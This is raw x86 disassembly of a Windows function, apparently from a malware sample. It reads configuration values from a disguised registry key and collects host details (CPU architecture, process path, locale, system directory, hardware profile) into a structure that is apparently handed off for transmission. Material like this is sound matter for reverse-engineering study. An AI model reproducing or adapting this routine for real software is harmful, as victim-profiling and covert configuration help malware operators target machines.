lea ecx, [ebp - 0x3d92]
push ecx
mov word [ebp - 0x3d94], ax
call fcn.00422ed0
lea edx, [ebp - 0x3d94]
add esp, 0xc
push edx
mov ecx, str.lagsnameTow
call fcn.004065e0
add esp, 4
lea eax, [ebp - 0x3d94]
push eax
call esi
test eax, eax
jne 0x40904a
push 0x43f234
lea ecx, [ebx + 0x8cc]
push 0x32
push ecx
call fcn.00420322
add esp, 0xc
jmp 0x4095a4
push 0x208
lea edx, [ebp - 0x87c]
push 0
push edx
mov dword [ebp - 0x74cc], 0
call fcn.00422ed0
add esp, 0xc
lea eax, [ebp - 0x74cc]
push eax
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74dc], 0x104
mov dword [ebp - 0x73b0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea ecx, [ebp - 0x74dc]
push ecx
mov ecx, dword [ebp - 0x74cc]
lea edx, [ebp - 0x87c]
push edx
lea eax, [ebp - 0x73b0]
push eax
push 0
push str.lagsnameTow
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x4090e4
push 0x43f234
lea edx, [ebx + 0x8cc]
push 0x43ea88
push edx
call edi
mov eax, dword [ebp - 0x74cc]
add esp, 0xc
push eax
jmp 0x40959e
push 0x3ff
lea eax, [ebp - 0xe73]
push 0
push eax
mov byte [ebp - 0xe74], 0
call fcn.00422ed0
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x87c]
push ecx
push 0
push 0
call edi
push 0
push 0
push eax
lea edx, [ebp - 0xe74]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x87c]
push eax
push 0
push 0
call edi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409142
sub eax, edx
lea ecx, [ebp - 0xe74]
push ecx
mov edx, eax
call fcn.00406990
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1b3a]
push eax
mov word [ebp - 0x1b3c], dx
call fcn.00422ed0
lea eax, [ebp - 0xe74]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409183
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4091b0
push esi
sub ecx, edi
lea edx, [ebp - 0x1b3c]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x1b3c]
push ecx
lea edx, [ebx + 0x8cc]
push 0x43ea88
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp - 0x74cc]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push eax
jmp 0x40959e
push 0x208
lea ecx, [ebp - 0x87c]
push 0
push ecx
mov dword [ebp - 0x74cc], 0
call fcn.00422ed0
add esp, 0xc
lea edx, [ebp - 0x74cc]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74dc], 0x104
mov dword [ebp - 0x73b0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x74dc]
push eax
mov eax, dword [ebp - 0x74cc]
lea ecx, [ebp - 0x87c]
push ecx
lea edx, [ebp - 0x73b0]
push edx
push 0
push str.FroxMXOifjScall
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x40929c
push 0x43f234
lea ecx, [ebx + 0x8cc]
push 0x43ea88
push ecx
call edi
mov eax, dword [ebp - 0x74cc]
add esp, 0xc
push eax
jmp 0x40959e
push 0x3ff
lea edx, [ebp - 0xe73]
push 0
push edx
mov byte [ebp - 0xe74], 0
call fcn.00422ed0
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x87c]
push eax
push 0
push 0
call edi
push 0
push 0
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x87c]
push edx
push 0
push 0
call edi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409300
sub eax, edx
lea ecx, [ebp - 0xe74]
push ecx
mov edx, eax
call fcn.00406910
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x3d92]
push eax
mov word [ebp - 0x3d94], dx
call fcn.00422ed0
lea eax, [ebp - 0xe74]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409341
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409370
push esi
sub ecx, edi
lea edx, [ebp - 0x3d94]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x3d94]
jmp 0x4091da
lea edx, [ebp - 0x2d92]
xor ecx, ecx
push edx
mov word [ebp - 0x2d94], cx
call fcn.00422ed0
lea eax, [ebp - 0x2d94]
add esp, 0xc
push eax
mov ecx, str.GOZHUO
call fcn.004065e0
add esp, 4
lea ecx, [ebp - 0x2d94]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x4093f7
push 0x44b21c
lea edx, [ebx + 0x8cc]
push 0x32
push edx
call fcn.00420322
add esp, 0xc
jmp 0x4095a4
push 0x208
lea eax, [ebp - 0x87c]
push 0
push eax
mov dword [ebp - 0x74cc], 0
call fcn.00422ed0
add esp, 0xc
lea ecx, [ebp - 0x74cc]
push ecx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74dc], 0x104
mov dword [ebp - 0x73b0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea edx, [ebp - 0x74dc]
push edx
mov edx, dword [ebp - 0x74cc]
lea eax, [ebp - 0x87c]
push eax
lea ecx, [ebp - 0x73b0]
push ecx
push 0
push str.GOZHUO
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x409487
push 0x43f24c
lea eax, [ebx + 0x8cc]
push 0x43ea88
push eax
call edi
jmp 0x409594
push 0x3ff
lea ecx, [ebp - 0xe73]
push 0
push ecx
mov byte [ebp - 0xe74], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x87c]
push edx
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0xe74]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x87c]
push ecx
push 0
push 0
call esi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4094e5
sub eax, edx
lea edx, [ebp - 0xe74]
push edx
mov edx, eax
call fcn.00406910
add esp, 4
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x3d92]
push ecx
mov word [ebp - 0x3d94], ax
call fcn.00422ed0
lea eax, [ebp - 0xe74]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409526
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0xe74]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409551
push esi
sub ecx, edi
lea eax, [ebp - 0x3d94]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0xe74]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea edx, [ebp - 0x3d94]
push edx
lea eax, [ebx + 0x8cc]
push 0x43ea88
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x74cc]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x6baa]
push eax
mov word [ebp - 0x6bac], dx
call fcn.00422ed0
lea ecx, [ebp - 0x6bac]
add esp, 0xc
push ecx
mov ecx, str.RANK
call fcn.004065e0
add esp, 4
lea edx, [ebp - 0x6bac]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x409602
push 0x44b2e4
lea eax, [ebx + 0x994]
push 0x32
push eax
call fcn.00420322
add esp, 0xc
jmp 0x4097b3
push 0x208
lea ecx, [ebp - 0x87c]
push 0
push ecx
mov dword [ebp - 0x74cc], 0
call fcn.00422ed0
add esp, 0xc
lea edx, [ebp - 0x74cc]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74dc], 0x104
mov dword [ebp - 0x73b0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x74dc]
push eax
mov eax, dword [ebp - 0x74cc]
lea ecx, [ebp - 0x87c]
push ecx
lea edx, [ebp - 0x73b0]
push edx
push 0
push str.RANK
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x409692
push 0x43f24c
lea ecx, [ebx + 0x994]
push 0x43ea88
push ecx
call edi
jmp 0x4097a3
push 0x3ff
lea edx, [ebp - 0xe73]
push 0
push edx
mov byte [ebp - 0xe74], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x87c]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x87c]
push edx
push 0
push 0
call esi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4096f0
sub eax, edx
lea ecx, [ebp - 0xe74]
push ecx
mov edx, eax
call fcn.00406910
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x2d92]
push eax
mov word [ebp - 0x2d94], dx
call fcn.00422ed0
lea eax, [ebp - 0xe74]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409731
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409760
push esi
sub ecx, edi
lea edx, [ebp - 0x2d94]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x2d94]
push ecx
lea edx, [ebx + 0x994]
push 0x43ea88
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp - 0x74cc]
add esp, 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x44b280
lea ecx, [ebx + 0x930]
push 0x32
push ecx
call fcn.00420322
xor eax, eax
add esp, 0xc
push 0x43f6ac
push str.kernel32.dll
mov dword [ebp - 0x7518], eax
mov dword [ebp - 0x7514], eax
mov dword [ebp - 0x7510], eax
mov dword [ebp - 0x750c], eax
mov dword [ebp - 0x7508], eax
mov dword [ebp - 0x7504], eax
mov dword [ebp - 0x7500], eax
mov dword [ebp - 0x74fc], eax
mov dword [ebp - 0x74f8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x409827
lea edx, [ebp - 0x7518]
push edx
call eax
jmp 0x409834
lea eax, [ebp - 0x7518]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x7518]
mov ecx, 6
cmp cx, ax
je 0x40984e
mov edx, 9
cmp dx, ax
jne 0x409855
mov eax, 0x43f264
jmp 0x40985a
mov eax, 0x43f26c
push eax
lea eax, [ebx + 0xa5c]
push str.X86__s
push eax
call edi
add esp, 0xc
mov ecx, ebx
call fcn.0040cbf0
lea esi, [ebx + 0xad4]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test esi, esi
je 0x4098c6
xor ecx, ecx
push eax
push ecx
push 0x400
mov word [esi], cx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4098c6
push 0x104
lea edx, [ebp - 0x87c]
push edx
push edi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x4098bf
mov edx, esi
lea ecx, [ebp - 0x87c]
call fcn.0040e180
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.0040c590
test eax, eax
je 0x4098df
push 0x43ee64
push 4
lea eax, [ebx + 0xcdc]
push eax
jmp 0x4098ed
push 0x43ee68
push 4
lea ecx, [ebx + 0xcdc]
push ecx
call fcn.00420322
mov edx, dword [ebp + 0xc]
lea eax, [ebx + 0xce4]
add esp, 0xc
push eax
mov dword [ebx + 0x124c], edx
call fcn.0040c390
add esp, 4
push 0x31
call fcn.0040a210
push eax
lea ecx, [ebx + 0xee2]
push 0x32
push ecx
call fcn.00420a34
add esp, 0x10
push 0x40
lea edx, [ebx + 0xf46]
push edx
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0x32
lea eax, [ebx + 0x1184]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [ebp - 0x74c4]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
test eax, eax
lea eax, [ebx + 0x246e]
je 0x409985
push eax
lea edx, [ebp - 0x74c0]
push edx
lea eax, [ebx + 0xa70]
push eax
lea eax, [ebx + 2]
push eax
lea eax, [ebx + 0x35e]
push eax
lea ecx, [ebx + 0x11e8]
push ecx
jmp 0x4099a1
push 0
push eax
lea edx, [ebx + 0xa70]
push edx
lea eax, [ebx + 2]
push eax
lea eax, [ebx + 0x35e]
push eax
lea eax, [ebx + 0x11e8]
push eax
lea edx, [ebx + 0x39a]
lea ecx, [ebx + 0x296]
call fcn.00409bb0
mov ecx, dword [ebp - 0x7534]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
add esp, 0x18
push 0xae7c
push ebx
call eax
push ebx
mov esi, eax
call fcn.0041fa53
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x753c]
add eax, 0xfffffff0
add esp, 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4099f9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x74d8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x409a22
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret